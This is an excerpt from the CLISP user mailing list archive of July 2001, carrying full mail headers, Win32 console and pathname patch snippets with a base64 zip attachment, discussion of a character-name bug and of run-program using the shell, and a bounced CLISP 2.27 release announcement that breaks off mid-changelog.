clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hello, In the beginning of this year I wrote an addition/patch to clisp for console-mode output under win32. It satisfies my needs in simple GUI for some learning-purpose applications, for example, now I can draw the tree on the screen, 'move' between leafs, change it etc. Bruno added my patch to the CVS, thanks him. After some time of using that screen implementation I want to suggest some more small improvements in it and keyboard processing. Anybody needs in it ? What the 'standard procedure' to do it ? Best regards, Arseny From sds@gnu.org Sun Jul 15 07:55:52 2001 Received: from out1.prserv.net ([32.97.166.31] helo=prserv.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15LnJH-0000Xm-00 for ; Sun, 15 Jul 2001 07:55:51 -0700 Received: from xchange.com (slip-32-101-212-12.ma.us.prserv.net[32.101.212.12]) by prserv.net (out1) with ESMTP id <2001071514554620103cfaaae>; Sun, 15 Jul 2001 14:55:48 +0000 To: Arseny Slobodjuck Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] some patches References: <13990.010715@crosswinds.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <13990.010715@crosswinds.net> Date: 15 Jul 2001 10:55:12 -0400 Message-ID: Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <13990.010715@crosswinds.net> > * On the subject of "[clisp-list] some patches" > * Sent on Sun, 15 Jul 2001 23:45:44 +1000 > * Honorable Arseny Slobodjuck writes: > > After some time of using that screen implementation I want to > suggest some more small improvements in it and keyboard > processing. Anybody needs in it ? What the 'standard procedure' to > do it ? send a patch here. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Type louder, please. From sds@gnu.org Sun Jul 15 14:00:38 2001 Received: from out4.prserv.net ([32.97.166.34] helo=prserv.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15Lt0I-0003Kw-00 for ; Sun, 15 Jul 2001 14:00:38 -0700 Received: from xchange.com (slip-32-100-244-74.ma.us.prserv.net[32.100.244.74]) by prserv.net (out4) with ESMTP id <2001071521003120404eoqbge>; Sun, 15 Jul 2001 21:00:34 +0000 To: Raymond Toy Cc: CLISP Mailing List Subject: Re: [clisp-list] (code-char 160) References: <4nu20gljti.fsf@rtp.ericsson.se> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <4nu20gljti.fsf@rtp.ericsson.se> Date: 15 Jul 2001 16:59:57 -0400 Message-ID: Lines: 23 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <4nu20gljti.fsf@rtp.ericsson.se> > * On the subject of "[clisp-list] (code-char 160)" > * Sent on 13 Jul 2001 15:18:01 -0400 > * Honorable Raymond Toy writes: > > (code-char 160) > #\NO-BREAK_SPACE > > But there doesn't seem to be any such character. If I try to type > #\NO-BREAK_SPACE into the listener, it complains: > > #\NO-BREAK_SPACE > > *** - READ from # #>: there is no character bit with name "NO" fixed in the CVS - thanks for the bug report. (clisp tried to parse the old cltl1 "bits" - it doesn't now). -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on If you want it done right, you have to do it yourself From peter.wood@worldonline.dk Sun Jul 15 14:20:44 2001 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15LtJi-0007VS-00 for ; Sun, 15 Jul 2001 14:20:42 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 024A5B501 for ; Sun, 15 Jul 2001 23:20:37 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id f6FLErq00456; Sun, 15 Jul 2001 23:14:53 +0200 Date: Sun, 15 Jul 2001 23:14:53 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Message-ID: <20010715231453.A437@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Subject: [clisp-list] run-program uses shell? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hi Is there some compelling reason that running programs has to go through the shell? "(run-program ...)" is just a frontend for "(run-shell-command ... :may-exec t)", right? Is this purely for portability reasons? It's easy enough to run programs without /bin/sh using linux:fork and linux:execlp*, but wait() is missing. Is there some horrible, insurmountable ffi thing with wait()? How difficult would it be to do a complete binding for wait() so all the WIF*(stat_val) stuff was accessible from Lisp? I want to use CLISP as _the_ shell, not as a frontend to /bin/sh. Regards, Peter From ampy@crosswinds.net Mon Jul 16 04:30:01 2001 Received: from out-mx1.crosswinds.net ([209.208.163.38]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15M6Zd-0002jw-00 for ; Mon, 16 Jul 2001 04:30:01 -0700 Received: from member-mx1.crosswinds.net (member-mx1.crosswinds.net [209.208.163.43]) by out-mx1.crosswinds.net (Postfix) with ESMTP id 69FAF5D67D for ; Mon, 16 Jul 2001 07:29:57 -0400 (EDT) Received: from AMPY (unknown [212.16.216.100]) by member-mx1.crosswinds.net (Postfix) with ESMTP id 2B8D44CBAE for ; Mon, 16 Jul 2001 07:29:52 -0400 (EDT) Date: Mon, 16 Jul 2001 22:37:38 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.36) S/N 345 Reply-To: Arseny Slobodjuck X-Priority: 3 (Normal) Message-ID: <2942.010716@crosswinds.net> To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="----------AE1141E37F28438" Subject: [clisp-list] (no subject) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: ------------AE1141E37F28438 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi, There's a patches: ;---- patch 1 : see the file w32strm.d (a part of stream.d after "#if defined(WIN32_NATIVE)" ). Contains some small patches here and there, national character thanslation and buffered output (much faster than char-by char). ;---- patch 2 : Function legal_namechar(ch) in file pathname.d, when compiling for win32 defines valid characters in pathnames: return ((c >= 1) && (c <= 127) && (c != 34) /*&& (c != 42)*/ && (c != 47) && (c != 58) && (c != 60) && (c != 62) /*&& (c != 63)*/ && (c != 92)) || (c == 131) || ((c >= 160) && (c != 197) && (c != 206)); The codes 197 and 206 are capital versions of two most often used cyrillic characters in win-1251 codepage and maybe somebody else's favorite characters. I personally not using local characters in pathnames, but Microsoft does, so any directory scanning fails :( I wonder, why 197 and 206 are there but 13 and 11 are not. ;---- patch 3 : file stream.d, win32 console keyboard input, function local object rd_ch_keyboard(stream_) It will be nice to change if ((event.Event.KeyEvent.uAsciiChar) <= ' ') { to if (((uintB)event.Event.KeyEvent.uAsciiChar) <= ' ') { since (in MSVC) char is signed. For proper input of national chars > 127 also need a line: ev.code = as_chart((uintB)event.Event.KeyEvent.uAsciiChar); # FIXME: This should take into account the encoding. # ampy : you're damn right. that's it OemToCharBuff((char *)&ev.code,(char *)&ev.code,1); -- Best regards, Arseny ------------AE1141E37F28438 Content-Type: application/x-zip-compressed; name="W32strm.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="W32strm.zip" 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 AAEANwAAAMgPAAAAAA== ------------AE1141E37F28438-- From toy@rtp.ericsson.se Mon Jul 16 07:56:57 2001 Received: from imr1.ericy.com ([208.237.135.240]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15M9ns-00074n-00 for ; Mon, 16 Jul 2001 07:56:57 -0700 Received: from mr6.exu.ericsson.se (mr6u3.ericy.com [208.237.135.123]) by imr1.ericy.com (8.11.3/8.11.3) with ESMTP id f6GEusp22499 for ; Mon, 16 Jul 2001 09:56:54 -0500 (CDT) Received: from eamrcnt747.exu.ericsson.se (eamrcnt747.exu.ericsson.se [138.85.133.37]) by mr6.exu.ericsson.se (8.11.3/8.11.3) with SMTP id f6GEuse03072 for ; Mon, 16 Jul 2001 09:56:54 -0500 (CDT) Received: FROM netmanager7.rtp.ericsson.se BY eamrcnt747.exu.ericsson.se ; Mon Jul 16 09:56:53 2001 -0500 Received: from edgedsp5.rtp.ericsson.se (edgedsp5.rtp.ericsson.se [147.117.82.4]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id KAA13016 for ; Mon, 16 Jul 2001 10:57:31 -0400 (EDT) Received: (from toy@localhost) by edgedsp5.rtp.ericsson.se (8.9.3+Sun/8.9.1) id KAA09792; Mon, 16 Jul 2001 10:56:52 -0400 (EDT) X-Authentication-Warning: edgedsp5.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: CLISP Mailing List Subject: Re: [clisp-list] (code-char 160) References: <4nu20gljti.fsf@rtp.ericsson.se> From: Raymond Toy Date: 16 Jul 2001 10:56:51 -0400 In-Reply-To: Message-ID: <4nsnfw7wi4.fsf@rtp.ericsson.se> Lines: 24 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (anise) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: >>>>> "Sam" == Sam Steingold writes: >> * In message <4nu20gljti.fsf@rtp.ericsson.se> >> * On the subject of "[clisp-list] (code-char 160)" >> * Sent on 13 Jul 2001 15:18:01 -0400 >> * Honorable Raymond Toy writes: >> >> (code-char 160) >> #\NO-BREAK_SPACE >> >> But there doesn't seem to be any such character. If I try to type >> #\NO-BREAK_SPACE into the listener, it complains: >> >> #\NO-BREAK_SPACE >> >> *** - READ from # #>: there is no character bit with name "NO" Sam> fixed in the CVS - thanks for the bug report. Sam> (clisp tried to parse the old cltl1 "bits" - it doesn't now). Thanks. Actually, the bug report was from the maxima mailing list. I just sent it on.... Ray From sds@gnu.org Mon Jul 16 09:04:39 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15MArO-0005IZ-00 for ; Mon, 16 Jul 2001 09:04:39 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id MAA12931; Mon, 16 Jul 2001 12:04:21 -0400 (EDT) X-Envelope-To: To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] run-program uses shell? References: <20010715231453.A437@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010715231453.A437@localhost.localdomain> User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 Date: 16 Jul 2001 12:03:33 -0400 Message-ID: Lines: 32 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010715231453.A437@localhost.localdomain> > * On the subject of "[clisp-list] run-program uses shell?" > * Sent on Sun, 15 Jul 2001 23:14:53 +0200 > * Honorable Peter Wood writes: > > Is there some compelling reason that running programs has to go > through the shell? "(run-program ...)" is just a frontend for > "(run-shell-command ... :may-exec t)", right? Is this purely for > portability reasons? it also saves you PATH handling. and you should not underestimate the portability concerns... > It's easy enough to run programs without /bin/sh using linux:fork and > linux:execlp*, but wait() is missing. Is there some horrible, > insurmountable ffi thing with wait()? How difficult would it be to do > a complete binding for wait() so all the WIF*(stat_val) stuff was > accessible from Lisp? > > I want to use CLISP as _the_ shell, not as a frontend to /bin/sh. /bin/sh is so small that this should not matter Yes, is all you want to do is start other programs, CLISP is probably _not_ the right tool. CLISP is good for many other things though :-) -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on The program isn't debugged until the last user is dead. From devnull@stump.algebra.com Tue Jul 17 07:35:54 2001 Received: from ak47.algebra.com ([208.233.99.160]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15MVx3-0001Rw-00 for ; Tue, 17 Jul 2001 07:35:53 -0700 Received: (from cola@localhost) by ak47.algebra.com (8.11.1/8.11.1) id f6HEZmK07825; Tue, 17 Jul 2001 09:35:48 -0500 Date: Tue, 17 Jul 2001 09:35:48 -0500 From: devnull@stump.algebra.com Message-Id: <200107171435.f6HEZmK07825@ak47.algebra.com> X-Authentication-Warning: ak47.algebra.com: cola set sender to devnull@stump.algebra.com using -f To: clisp-list@sourceforge.net References: In-Reply-To: Reply-To: cola-board@stump.algebra.com Subject: [clisp-list] Re: GNU CLISP 2.27 release Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: -----BEGIN PGP SIGNED MESSAGE----- Your message has been rejected because it is crossposted to more than 5 usenet groups, which is against the charter of comp.os.linux.announce, or it is crossposted to another moderated group, or it has excessive quoting. Read charter of comp.os.linux.announce in http://stump.algebra.com/~cola Please direct your queries to cola-admin@stump.algebra.com. Thank you, - Moderator. ============================================ Full text of your message follows > From mjrauhal@kantti.Helsinki.FI Tue Jul 17 09:34:52 2001 > Return-Path: > Received: from kantti.Helsinki.FI (kantti.helsinki.fi [128.214.205.12]) > by ak47.algebra.com (8.11.1/8.11.1) with ESMTP id f6HEYpp07756 > for ; Tue, 17 Jul 2001 09:34:51 -0500 > Received: (from mjrauhal@localhost) > by kantti.Helsinki.FI (8.11.4/8.11.4-SPAMmers-sod-off) id f6HEYoa19197 > for cola@stump.algebra.com; Tue, 17 Jul 2001 17:34:50 +0300 (EET DST) > Received: from post.it.helsinki.fi (post.it.helsinki.fi [128.214.205.24]) > by kantti.Helsinki.FI (8.11.4/8.11.4-SPAMmers-sod-off) with ESMTP id f6HEYnj29383 > for ; Tue, 17 Jul 2001 17:34:49 +0300 (EET DST) > Received: from sws1.ctd.ornl.gov (sws1.ctd.ornl.gov [160.91.20.101]) > by post.it.helsinki.fi (8.11.4/8.11.4-SPAMmers-sod-off) with SMTP id f6HEYlb30235 > for ; Tue, 17 Jul 2001 17:34:48 +0300 (EET DST) > Received: (qmail 15533 invoked by alias); 17 Jul 2001 14:34:46 -0000 > Delivered-To: linux-announce@news.ornl.gov > Received: (qmail 31076 invoked from network); 17 Jul 2001 14:34:45 -0000 > Received: from sjc3-1.relay.mail.uu.net (199.171.54.122) > by sws1.ctd.ornl.gov with SMTP; 17 Jul 2001 14:34:45 -0000 > Received: from supernews.net by sjc3sosrv11.alter.net with ESMTP > (peer crosschecked as: pa-01.supernews.net [209.249.90.75]) > id QQkybq21964 > for ; Tue, 17 Jul 2001 14:34:43 GMT > Received: from news by supernews.net with local (Exim 3.20 #1) > id 15MVvu-000HsN-00 > for comp-os-linux-announce@moderators.isc.org; Tue, 17 Jul 2001 14:34:42 +0000 > To: comp-os-linux-announce@moderators.isc.org > From: Sam Steingold > Newsgroups: comp.lang.lisp,comp.os.linux.announce > Subject: GNU CLISP 2.27 release > Followup-To: poster > Organization: disorganization > Message-ID: > Reply-To: clisp-list@sourceforge.net > X-Attribution: Sam > X-Disclaimer: You should not expect anyone to agree with me. > User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 > MIME-Version: 1.0 > Content-Type: text/plain; charset=us-ascii > X-Complaints-To: newsabuse@supernews.com > > GNU CLISP 2.27 is now available at > http://clisp.cons.org > https://sourceforge.net/project/showfiles.php?group_id=1355 > ftp://clisp.cons.org/pub/lisp/clisp/source/latest/ > ftp://clisp.cons.org/pub/lisp/clisp/binaries/latest/ > ftp://clisp.sourceforge.net/pub/clisp/latest/ > please ask questions about CLISP on clisp-list@sourceforge.net > if you would like to contribute to CLISP development, please subscribe > to clisp-devel@sourceforge.net and send patches there. > > CLISP Common Lisp Summary > > Common Lisp is a high-level, all-purpose, object-oriented, dynamic, > functional programming language. > > CLISP is a Common Lisp implementation by Bruno Haible of Karlsruhe > University and Michael Stoll of Munich University, both in Germany. > It mostly supports the Lisp described in the ANSI Common Lisp standard. > > CLISP includes an interpreter, a compiler, a large subset of CLOS, a > foreign language interface and a socket interface. An X11 interface is > available through CLX and Garnet. Command line editing is provided by > GNU ReadLine. > > CLISP runs on microcomputers (OS/2, Windows 95/98/2000/NT, Amiga > 500-4000, Acorn RISC PC) as well as on Unix workstations (GNU/Linux, > BSD, SVR4, Sun4, DEC Alpha OSF, HP-UX, NeXTstep, SGI, AIX, Sun3 and > others) and needs only 2 MB of RAM. > > CLISP is Free Software and may be distributed under the terms of GNU > GPL. You may distribute commercial applications compiled with CLISP, see > file COPYRIGHT in the CLISP distribution. > > The user interface comes in German, English, French, Spanish and Dutch, > and can be changed at run time. > > > CHANGES.LOG: > > 2.27 (2001-07-17) > ================= > > User visible changes > -------------------- > > * EXT:GETENV is now setfable. > > * Hostname resolution is now optional in > EXT:SOCKET-STREAM-PEER and EXT:SOCKET-STREAM-LOCAL. > > * EXT:SOCKET-STATUS now accepts SOCKET-SERVERs too > and the direction of the checks can be specified. > > * Added install.bat for win32 installation. > > * ANSI CL compliance: more conformant pathname handling. > > * Fixed handling of circular structs and pointers to functions in the FFI. > > * Fixed binary I/O for streams with element type longer than one byte, > 